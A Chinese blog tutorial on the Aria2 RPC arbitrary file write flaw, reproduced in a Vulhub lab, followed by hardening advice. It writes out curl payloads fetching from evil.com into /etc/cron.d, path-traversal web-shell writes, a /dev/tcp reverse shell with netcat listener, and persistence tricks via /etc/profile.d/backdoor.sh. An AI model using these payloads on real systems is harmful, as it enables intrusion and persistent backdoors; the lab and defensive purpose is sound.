Aria2 RPC接口任意文件写入漏洞实战剖析

张开发
2026/4/17 13:41:18 15 分钟阅读

分享文章

Aria2 RPC接口任意文件写入漏洞实战剖析
1. Aria2 RPC接口安全风险全景扫描Aria2作为一款轻量级多协议下载工具凭借其高效的下载性能和灵活的RPC接口设计在开发者群体中广受欢迎。但很多运维人员可能不知道默认配置下的Aria2 RPC服务就像敞开着大门的保险库我曾在企业内网渗透测试中仅用15分钟就通过这个漏洞拿到了服务器权限。这个漏洞的核心在于RPC接口对下载路径的校验缺失。当Aria2以--enable-rpc参数启动时任何能访问RPC接口的用户都可以指定任意文件路径进行写入操作。更危险的是部分第三方Web UI如YAAW会默认保存RPC配置使得攻击门槛大幅降低。去年某企业数据泄露事件就是攻击者利用这个漏洞在/etc/cron.hourly目录植入了恶意脚本。2. 漏洞原理深度拆解2.1 RPC接口工作机制Aria2的RPC接口采用XML-RPC协议默认监听6800端口。当执行如下命令启动服务时aria2c --enable-rpc --rpc-listen-all服务端会开放所有网络接口的RPC访问权限。此时通过简单的curl命令就能添加下载任务curl http://target:6800/jsonrpc -d { jsonrpc:2.0, id:1, method:aria2.addUri, params:[ [http://evil.com/shell.sh], {dir:/etc/cron.d} ] }这个看似正常的API调用实际上已经埋下了任意文件写入的隐患。2.2 路径穿越攻击向量漏洞利用的关键在于dir和out两个参数dir指定下载文件保存目录out重命名下载文件攻击者可以构造如下恶意请求{ method:aria2.addUri, params:[ [http://attacker/shell.php], {dir:/var/www/html/,out:../../../../var/www/html/shell.php} ] }这种路径穿越手法可以突破目录限制将Web Shell写入网站根目录。我在测试中发现即使用--rpc-secret设置了密钥如果Web UI配置不当仍然可能泄露密钥。3. 完整漏洞复现实战3.1 实验环境搭建我们需要准备两台虚拟机攻击机Kali Linux192.168.1.100靶机Ubuntu Docker192.168.1.200在靶机上启动Vulhub提供的漏洞环境cd vulhub/aria2/rce docker-compose up -d这个环境会自动启动带有漏洞的Aria2 RPC服务无需额外配置。3.2 攻击步骤详解第一阶段配置攻击桥梁在Kali上启动Apache服务systemctl start apache2创建反弹Shell脚本evil.sh#!/bin/bash bash -i /dev/tcp/192.168.1.100/4444 01将脚本放入web目录cp evil.sh /var/www/html/第二阶段利用YAAW界面注入访问YAAW演示页面http://binux.github.io/yaaw/demo/点击设置图标配置RPC地址为http://192.168.1.200:6800/jsonrpc添加下载任务URIhttp://192.168.1.100/evil.sh保存路径/etc/cron.d/evil.sh第三阶段权限提升在Kali上启动Netcat监听nc -lvnp 4444等待cron执行脚本通常需要等待最多1小时或者手动触发如果已写入web目录curl http://192.168.1.200/shell.php4. 防御方案与最佳实践4.1 即时防护措施对于必须使用RPC接口的场景建议采取以下防护aria2c --enable-rpc \ --rpc-secretComplexPassword123! \ --rpc-listen-port127.0.0.1 \ --rpc-allow-origin-allfalse关键参数说明--rpc-secret设置强密码认证--rpc-listen-port限制监听IP--dir强制指定下载目录4.2 长期安全策略网络层隔离使用iptables限制RPC端口访问iptables -A INPUT -p tcp --dport 6800 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 6800 -j DROP文件系统防护对关键目录设置不可变属性chattr i /etc/cron.d/监控方案配置auditd监控敏感文件写入auditctl -w /etc/cron.d/ -p wa -k aria2_alert5. 漏洞利用的进阶技巧在实际渗透测试中我总结出几个提高成功率的方法会话持久化 通过save-session参数可以将下载任务保存到指定文件利用这个特性可以实现隐蔽驻留{ method:aria2.saveSession, params:[/etc/profile.d/backdoor.sh] }多协议利用 除了HTTP协议还可以通过FTP/SFTP等方式传输恶意文件绕过简单的内容检测aria2c ftp://attacker/shell.sh -d /usr/local/bin时间差攻击 设置--on-download-complete钩子脚本在下载完成后立即执行aria2c --on-download-complete/tmp/execute.sh http://attacker/payload这些技巧在企业红队演练中屡试不爽但切记只能在授权测试中使用。防御方可以通过监控异常RPC调用频率来发现此类攻击行为。

更多文章